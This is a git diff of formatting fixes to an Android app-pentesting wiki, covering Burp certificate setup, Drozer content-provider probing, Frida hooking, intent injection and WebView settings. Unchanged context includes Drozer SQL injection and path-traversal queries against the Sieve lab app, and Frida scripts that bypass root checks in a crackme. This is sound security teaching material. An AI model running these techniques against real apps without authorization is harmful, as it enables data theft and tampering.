C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -161,7 +161,7 @@ The following Android Virtual Devices could not be loaded: ### Run Virtual Machine -We have already seen how you can list the created virtual machines, but** you can also list them using**: +We have already seen how you can list the created virtual machines, but **you can also list them using**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds @@ -184,7 +184,7 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht ### Command line options -However there are **a lot of different command line useful options** that you can use to initiate a virtual machine. Below you can find some interesting options but can** **[**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) +However there are **a lot of different command line useful options** that you can use to initiate a virtual machine. Below you can find some interesting options but can **** [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) #### Boot @@ -208,11 +208,11 @@ However there are **a lot of different command line useful options** that you ca ## Install Burp certificate on a Virtual Machine -First of all you need to download the Der certificate from Burp. You can do this in _**Proxy **_--> _**Options **_--> _**Import / Export CA certificate**_ +First of all you need to download the Der certificate from Burp. You can do this in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ ![](<../../.gitbook/assets/image (367) (1).png>) -**Export the certificate in Der format** and lets **transform **it to a form that **Android **is going to be able to **understand. **Note that **in order to configure the burp certificate on the Android machine in AVD** you need to **run **this machine **with** the **`-writable-system`** option.\ +**Export the certificate in Der format** and lets **transform** it to a form that **Android** is going to be able to **understand.** Note that **in order to configure the burp certificate on the Android machine in AVD** you need to **run** this machine **with** the **`-writable-system`** option.\ For example you can run it like: ```bash diff --git a/mobile-apps-pentesting/android-app-pentesting/content-protocol.md b/mobile-apps-pentesting/android-app-pentesting/content-protocol.md index 66badd44..c8f3e47c 100644 --- a/mobile-apps-pentesting/android-app-pentesting/content-protocol.md +++ b/mobile-apps-pentesting/android-app-pentesting/content-protocol.md @@ -52,9 +52,9 @@ Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSes ... ``` -### The Chrome CVE-2020-6516 Same-Origin-Policy bypass +### The Chrome CVE-2020-6516 Same-Origin-Policy bypass -The _Same Origin Policy_ (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)] in browsers dictates that Javascript content of URL A will only be able to access content at URL B if the following URL attributes remain the same for A and B: +The _Same Origin Policy_ (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] in browsers dictates that Javascript content of URL A will only be able to access content at URL B if the following URL attributes remain the same for A and B: * The protocol e.g. `https` vs. `http` * The domain e.g. `www.example1.com` vs. `www.example2.com` @@ -97,4 +97,4 @@ A proof-of-concept is pretty straightforward. An HTML document that uses `XMLHtt ``` -**Information taken from this writeup: **[**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**** +**Information taken from this writeup:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**** diff --git a/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md index 98585afc..51cce54d 100644 --- a/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md +++ b/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md @@ -2,7 +2,7 @@ ## Intro -A content provider component **supplies data from one application to others** on request. Such requests are handled by the methods of the ContentResolver class. A content provider can use different ways to store its data and the data can be **stored **in a **database**, in **files**, or even over a **network**. +A content provider component **supplies data from one application to others** on request. Such requests are handled by the methods of the ContentResolver class. A content provider can use different ways to store its data and the data can be **stored** in a **database**, in **files**, or even over a **network**. It has to be declared inside the _Manifest.xml_ file. Example: @@ -12,7 +12,7 @@ It has to be declared inside the _Manifest.xml_ file. Example: ``` -In this case, it's necessary the permission `READ_KEYS `to access `content://com.mwr.example.sieve.DBContentProvider/Keys`\ +In this case, it's necessary the permission `READ_KEYS` to access `content://com.mwr.example.sieve.DBContentProvider/Keys`\ (_Also, notice that in the next section we are going to access `/Keys/` which isn't protected, that's because the developer got confused and protected `/Keys` but declared `/Keys/`_) **Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).** @@ -41,7 +41,7 @@ dz> run app.provider.info -a com.mwr.example.sieve Grant Uri Permissions: False ``` -We can **reconstruct **part of the content **URIs **to access the **DBContentProvider**, because we know that they must begin with “_content://_” and the information obtained by Drozer inside Path:_ /Keys_. +We can **reconstruct** part of the content **URIs** to access the **DBContentProvider**, because we know that they must begin with “_content://_” and the information obtained by Drozer inside Path: _/Keys_. Drozer can **guess and try several URIs**: @@ -57,11 +57,11 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ ``` -You should also check the **ContentProvider code **to search for queries: +You should also check the **ContentProvider code** to search for queries: ![](<../../../.gitbook/assets/image (121) (1) (1).png>) -Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate `method: +Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method: ![](<../../../.gitbook/assets/image (186).png>) @@ -69,10 +69,10 @@ The query will be like: `content://name.of.package.class/declared_name` ## **Database-backed Content Providers** -Probably most of the Content Providers are used as **interface **for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information. \ +Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information. \ Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms. -When checking the code of the Content Provider **look **also for **functions **named like: _query, insert, update and delete_: +When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_: ![](<../../../.gitbook/assets/image (187).png>) @@ -94,7 +94,7 @@ email: incognitoguy50@gmail.com ### Insert content -Quering the database you will learn the** name of the columns**, then, you could be able to insert data in the DB: +Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB: ![](<../../../.gitbook/assets/image (188).png>) @@ -114,12 +114,12 @@ Knowing the name of the columns you could also **modify the entries**: ### **SQL Injection** -It is simple to test for SQL injection** (SQLite)** by manipulating the **projection **and **selection fields **that are passed to the content provider.\ -When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and_ --projection_: +It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\ +When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_: ![](<../../../.gitbook/assets/image (192).png>) -You can try to **abuse** this **parameters **to test for **SQL injections**: +You can try to **abuse** this **parameters** to test for **SQL injections**: ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" @@ -173,7 +173,7 @@ dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc ### **Path Traversal** -If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks). +If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks). ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts @@ -192,5 +192,5 @@ Vulnerable Providers: ## References -* [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm) +* [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm) * [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) diff --git a/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index dbbd0003..5b79bfaa 100644 --- a/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -1,6 +1,6 @@ # Exploiting a debuggeable applciation -**Information copied from **[**https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article**](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article)**** +**Information copied from** [**https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article**](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article)**** In the previous article, we have seen how to debug Java applications using a little tool called JDB. In this article, we will apply the same logic to exploit Android apps, if they are flagged as debuggable. If an application is flagged as debuggable, we can inject our own code to execute it in the context of the vulnerable application process. diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md index 83a55278..2e843a8c 100644 --- a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -46,7 +46,7 @@ Follow the[ link to read it.](frida-tutorial-2.md) **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk) Follow the [link to read it](owaspuncrackable-1.md).\ -**You can find some Awesome Frida scripts here: **[**https://codeshare.frida.re/**](https://codeshare.frida.re)**** +**You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)**** ## Fast Examples @@ -129,7 +129,7 @@ Hook android `.onCreate()` ### Hooking functions with parameters and retrieving the value - Hooking a decryption function. Print the input, call the original function decrypt the input and finally, print the plain data: + Hooking a decryption function. Print the input, call the original function decrypt the input and finally, print the plain data: ```javascript function getString(data){ @@ -176,7 +176,7 @@ my_class.fun.overload("java.lang.String").implementation = function(x){ //hookin If you want to extract some attribute of a created object you can use this. -In this example you are going to see how to get the object of the class my_activity and how to call the function .secret() that will print a private attribute of the object: +In this example you are going to see how to get the object of the class my\_activity and how to call the function .secret() that will print a private attribute of the object: ```javascript Java.choose("com.example.a11x256.frida_test.my_activity" , { diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md index fbc630bf..7fa263cd 100644 --- a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md +++ b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md @@ -125,6 +125,6 @@ Java.perform(function() { ## Important -In this tutorial you have hooked methods using the name of the mathod and _.implementation_. But if there were** more than one method **with the same name, you will need to **specify the method** that you want to hook** indicating the type of the arguments**. +In this tutorial you have hooked methods using the name of the mathod and _.implementation_. But if there were **more than one method** with the same name, you will need to **specify the method** that you want to hook **indicating the type of the arguments**. You can see that in [the next tutorial](frida-tutorial-2.md). diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md index 1f27310f..c19c0695 100644 --- a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md +++ b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md @@ -3,11 +3,11 @@ **From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk) -## Solution 1 +## Solution 1 -Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) +Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) -**Hook the **_**exit() **_function and **decrypt function** so it print the flag in frida console when you press verify: +**Hook the **_**exit()**_ function and **decrypt function** so it print the flag in frida console when you press verify: ```javascript Java.perform(function () { @@ -48,9 +48,9 @@ Java.perform(function () { ## Solution 2 -Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) +Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) -**Hook rootchecks **and decrypt function so it print the flag in frida console when you press verify: +**Hook rootchecks** and decrypt function so it print the flag in frida console when you press verify: ```javascript Java.perform(function () { diff --git a/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md b/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md index e6d06b14..1ed185bf 100644 --- a/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md +++ b/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md @@ -14,7 +14,7 @@ Reading the java code: ![](<../../.gitbook/assets/image (47).png>) -It looks like the function that is going print the flag is **m(). ** +It looks like the function that is going print the flag is **m().** ## **Smali changes** @@ -60,7 +60,7 @@ A forth way is to add an instruction to move to value of v9(1000000) to v0 _(thi ## Solution -Make the application run the loop 100000 times when you win the first time. To do so, you only need to create the** :goto\_6 **loop and make the application **junp there if **_**this.o**_** does not value 100000**: +Make the application run the loop 100000 times when you win the first time. To do so, you only need to create the **:goto\_6** loop and make the application **junp there if **_**this.o**_** does not value 100000**: ![](<../../.gitbook/assets/image (59).png>) diff --git a/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md b/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md index cbc4c19c..5f6ffe30 100644 --- a/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md +++ b/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md @@ -1,8 +1,8 @@ # Inspeckage Tutorial -**Tutorial copied from **[**https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7**](https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7)**** +**Tutorial copied from** [**https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7**](https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7)**** -### Install Xposed Framework +### Install Xposed Framework 1. Download Xposed Installer APK from [here](https://forum.xda-developers.com/attachments/xposedinstaller\_3-1-5-apk.4393082/) 2. Download Xposed Framework zip from [here](https://dl-xda.xposed.info/framework/sdk25/x86/xposed-v89-sdk25-x86.zip) @@ -18,13 +18,13 @@ Make sure the device is online for adb Drag and drop the Xposed framework zip file (`xposed-vXX-sdkXX-x86.zip`) to your virtual device display to flash the device. -Drag and drop Xposed Installer APK (`XposedInstaller_*.apk`). This should install and launch _Xposed Installer _application. At this stage, it will display that the Xposed framework is installed but disabled:![](https://miro.medium.com/max/30/0\*0ddJI69QvpxC8rXq.png?q=20) +Drag and drop Xposed Installer APK (`XposedInstaller_*.apk`). This should install and launch _Xposed Installer_ application. At this stage, it will display that the Xposed framework is installed but disabled:![](https://miro.medium.com/max/30/0\*0ddJI69QvpxC8rXq.png?q=20) ![](https://miro.medium.com/max/700/0\*0ddJI69QvpxC8rXq.png) Reboot the device with `adb reboot` command. **Do not reboot from **_**Xposed Installer**_** as this will freeze the device.** -![](https://miro.medium.com/max/657/1\*V_jl42vdOcJLXvS0riI7Gg.png) +![](https://miro.medium.com/max/657/1\*V\_jl42vdOcJLXvS0riI7Gg.png) Launch _Xposed installer_. It should display “Xposed Framework version XX is active” @@ -36,14 +36,14 @@ After installing, Go to Xposed Installer → Modules→ Activate the Module → ![](https://miro.medium.com/max/623/1\*7sO6IX46hciTBUtWoyLEFQ.png) -### Dynamic Analysis with Inspeckage +### Dynamic Analysis with Inspeckage After, Successful installing of Inspeckage and Xposed Installer. Now we can hook any application with Inspeackage. To do this follow the below steps 1. Launch the Inspeckage Application from the application drawer 2. Click on the “Choose target” text and select the target application -![](https://miro.medium.com/max/700/1\*J5J_rCHOC0ga0YJ5kbwqbQ.png) +![](https://miro.medium.com/max/700/1\*J5J\_rCHOC0ga0YJ5kbwqbQ.png) 3\. Then forward VD local-host port to main machine using adb diff --git a/mobile-apps-pentesting/android-app-pentesting/intent-injection.md b/mobile-apps-pentesting/android-app-pentesting/intent-injection.md index acbda62a..08802820 100644 --- a/mobile-apps-pentesting/android-app-pentesting/intent-injection.md +++ b/mobile-apps-pentesting/android-app-pentesting/intent-injection.md @@ -1,12 +1,12 @@ # Intent Injection -**Research taken from **[**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**** +**Research taken from** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**** ## Introduction This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object. \ Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc. \ -This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`. +This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`. {% hint style="info" %} As summary: If an attacker can send an Intent that is being insecurely executed he can potentially access not exported components and abuse them. @@ -67,9 +67,9 @@ In order to escalate the impact of this vulnerability you need to **find other v ### Escalation of attacks via Content Providers -Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable app’s Content Providers **that satisfy the following conditions: +Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable app’s Content Providers** that satisfy the following conditions: -* it must be** non-exported** (otherwise it **could be attacked directly**, without using the vulnerability we are discussing in this article) +* it must be **non-exported** (otherwise it **could be attacked directly**, without using the vulnerability we are discussing in this article) * it must have the **`android:grantUriPermissions`** flag set to **`true`**. * `android:grantUriPermissions="true"` indicates that your Java code can use `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION` for **any `Uri` served by that `ContentProvider`**. * `android:grantUriPermissions="false"` indicates that **only the `Uri` values specified by child ``** elements can be used with `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION`. @@ -261,7 +261,7 @@ We therefore recommend checking that an activity is exported before it is launch ### Other ways of creating insecure intents -Some app developers implement their **own intent parsers **(often to handle **deeplinks** or push messages), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it +Some app developers implement their **own intent parsers** (often to handle **deeplinks** or push messages), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it ```java Uri deeplinkUri = getIntent().getData(); diff --git a/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index ddf2adde..36cbcf0a 100644 --- a/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -4,7 +4,7 @@ Some applications don't like user downloaded certificates, so in order to inspec ## Automatic -The tool [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) will **automatically **make the necessary changes to the application to start capturing the requests and will also disable certificate pinning (if any). +The tool [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) will **automatically** make the necessary changes to the application to start capturing the requests and will also disable certificate pinning (if any). ## Manual @@ -24,7 +24,7 @@ After adding: ![](../../.gitbook/assets/img11.png) -Now go into the **res/xml** folder & create/modify a file named network_security_config.xml with the following contents: +Now go into the **res/xml** folder & create/modify a file named network\_security\_config.xml with the following contents: ```markup diff --git a/mobile-apps-pentesting/android-app-pentesting/react-native-application.md b/mobile-apps-pentesting/android-app-pentesting/react-native-application.md index 63b17223..4889206c 100644 --- a/mobile-apps-pentesting/android-app-pentesting/react-native-application.md +++ b/mobile-apps-pentesting/android-app-pentesting/react-native-application.md @@ -1,6 +1,6 @@ # React Native Application -**Information copied from **[**https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7**](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)**** +**Information copied from** [**https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7**](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)**** React Native is a **mobile application framework** that is most commonly used to develop applications for **Android** and **iOS** by enabling the use of React and native platform capabilities. These days, it’s become increasingly popular to use React across platforms.\ But most of the time, the core logic of the application lies in the React Native **JavaScript that can be obtained** without needing to use dex2jar. @@ -40,6 +40,6 @@ Open the **index.html** file in **Google Chrome**. Open up the Developer Toolbar In this phase, you have to identify the **sensitive keywords** to analyze the **Javascript** code. A pattern that is popular with React Native applications, is the use of a third party services like such as Firebase, AWS s3 service endpoints, private keys etc., -During my initial **recon process**, I have observed the application using the Dialogflow service. So based on this, I have searched a pattern related to its configuration. Fortunately, I was able to find** sensitive hard-coded credentials** in the Javascript code. +During my initial **recon process**, I have observed the application using the Dialogflow service. So based on this, I have searched a pattern related to its configuration. Fortunately, I was able to find **sensitive hard-coded credentials** in the Javascript code. ![Image for post](https://miro.medium.com/max/2086/1\*RAToFnqpp9ndM0lBeMlz6g.png) diff --git a/mobile-apps-pentesting/android-app-pentesting/smali-changes.md b/mobile-apps-pentesting/android-app-pentesting/smali-changes.md index 4e39e23f..f1c5ef0c 100644 --- a/mobile-apps-pentesting/android-app-pentesting/smali-changes.md +++ b/mobile-apps-pentesting/android-app-pentesting/smali-changes.md @@ -2,7 +2,7 @@ Sometimes it is interesting to modify the application code to access hidden information for you (maybe well obfuscated passwords or flags). Then, it could be interesting to decompile the apk, modify the code and recompile it. -**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) +**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html) ## Fast Way @@ -73,7 +73,7 @@ zipalign -v 4 infile.apk ### **Sign the new APK (again?)** -If you **prefer** to use **\*\*\[**apksigner**]\(**[https://developer.android.com/studio/command-line/apksigner](https://developer.android.com/studio/command-line/apksigner)**) **instead of jarsigner,** you should sing the apk **after applying** the optimization with **zipaling**. BUT NOTICE THAT **YOU ONLY HAVE TO SIGN THE APPLCIATION ONCE\*\* WITH jarsigner (before zipalign) OR WITH aspsigner(after zipaling). +If you **prefer** to use **\*\*\[**apksigner**]\(**[https://developer.android.com/studio/command-line/apksigner](https://developer.android.com/studio/command-line/apksigner)**)** instead of jarsigner, **you should sing the apk** after applying **the optimization with** zipaling**. BUT NOTICE THAT** YOU ONLY HAVE TO SIGN THE APPLCIATION ONCE\*\* WITH jarsigner (before zipalign) OR WITH aspsigner(after zipaling). ```bash apksigner sign --ks key.jks ./dist/mycompiled.apk diff --git a/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md b/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md index 647e7ae2..ba59a66b 100644 --- a/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md +++ b/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md @@ -1,6 +1,6 @@ # Spoofing your location in Play Store -**Information copied from **[**https://manifestsecurity.com/android-application-security-part-23/**](https://manifestsecurity.com/android-application-security-part-23/)**** +**Information copied from** [**https://manifestsecurity.com/android-application-security-part-23/**](https://manifestsecurity.com/android-application-security-part-23/)**** Many a times you have seen that application which you want to assess is only allowed in selected countries, so in that case you won’t be able to install that application on you android device. But if you can spoof your location to that country in which the application is allowed then you can get access to that application. Below is the procedure of the same. diff --git a/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md b/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md index 266261b3..db5dfef2 100644 --- a/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md +++ b/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md @@ -5,7 +5,7 @@ ### File Access _WebView_ file access is enabled by default. Since API 3 (Cupcake 1.5) the method [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) is available for explicitly enabling or disabling it.\ -If the application has _**android.permission.READ_EXTERNAL_STORAGE** _it will be able to read and load files **from the external storage**.\ +If the application has _**android.permission.READ\_EXTERNAL\_STORAGE** _ it will be able to read and load files **from the external storage**.\ The _WebView_ needs to use a File URL Scheme, e.g., `file://path/file`, to access the file. #### Universal Access From File URL (Deprecated) @@ -15,16 +15,16 @@ The _WebView_ needs to use a File URL Scheme, e.g., `file://path/file`, to acces > **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting **allows malicious scripts loaded in a `file://`** context to launch cross-site scripting attacks, either **accessing arbitrary local files** including WebView cookies, app private data or even credentials used on arbitrary web sites. In summary this will **prevent loading arbitrary Origins.** The app will send the URL request lo load the content with **`Origin: file://`** if the response doesn't allow that origin (**`Access-Control-Allow-Origin: file://`**) then the content won't be loaded.\ -The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#JELLY_BEAN) and above. +The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) and above. * Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) to know whether JavaScript running in the context of a file scheme URL can access content from any origin (if UniversalAccessFromFileURL is enabled). * Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) to enable/disable it. {% hint style="info" %} -Using **`loadDataWithBaseURL()`** with `null` as baseURL will also **prevent to load local files **even if all the dangerous settings are enabled. +Using **`loadDataWithBaseURL()`** with `null` as baseURL will also **prevent to load local files** even if all the dangerous settings are enabled. {% endhint %} -#### File Access From File URLs (Deprecated) +#### File Access From File URLs (Deprecated) > Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting. > @@ -32,17 +32,17 @@ Using **`loadDataWithBaseURL()`** with `null` as baseURL will also **prevent to In summary, this prevents javascript to access local files via `file://` protocol.\ Note that **the value of this setting is ignored** if the value of [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) is `true`. \ -The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#JELLY_BEAN) and above. +The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) and above. * Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) to know whether JavaScript is running in the context of a file scheme URL can access content from other file scheme URLs. * Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\))to enable/disable it. #### File Access -> Enables or disables **file access within WebView**. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android_asset and file:///android_res. +> Enables or disables **file access within WebView**. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android\_asset and file:///android\_res. In summary, if disable, the WebView won't be able to load a local file with the `file://` protocol.\ -The **default value is`false`** when targeting [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#R) and above. +The **default value is`false`** when targeting [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) and above. * Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) to know if the configuration is enabled. * Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) to enable/disable it. @@ -99,13 +99,13 @@ Note that in the case of trying to exploit this vulnerability via an **Open Redi If `addJavascriptInterface` is necessary, take the following considerations: -* **Only JavaScript provided **with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method (via `WebView.getUrl`). +* **Only JavaScript provided** with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method (via `WebView.getUrl`). * **No JavaScript should be loaded from remote endpoint**s, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser (e.g. Chrome, Firefox). * If necessary for legacy reasons (e.g. having to support older devices), **at least set the minimal API level to 17** in the manifest file of the app (``). ### Javascript Bridge to RCE via Reflection -As noted 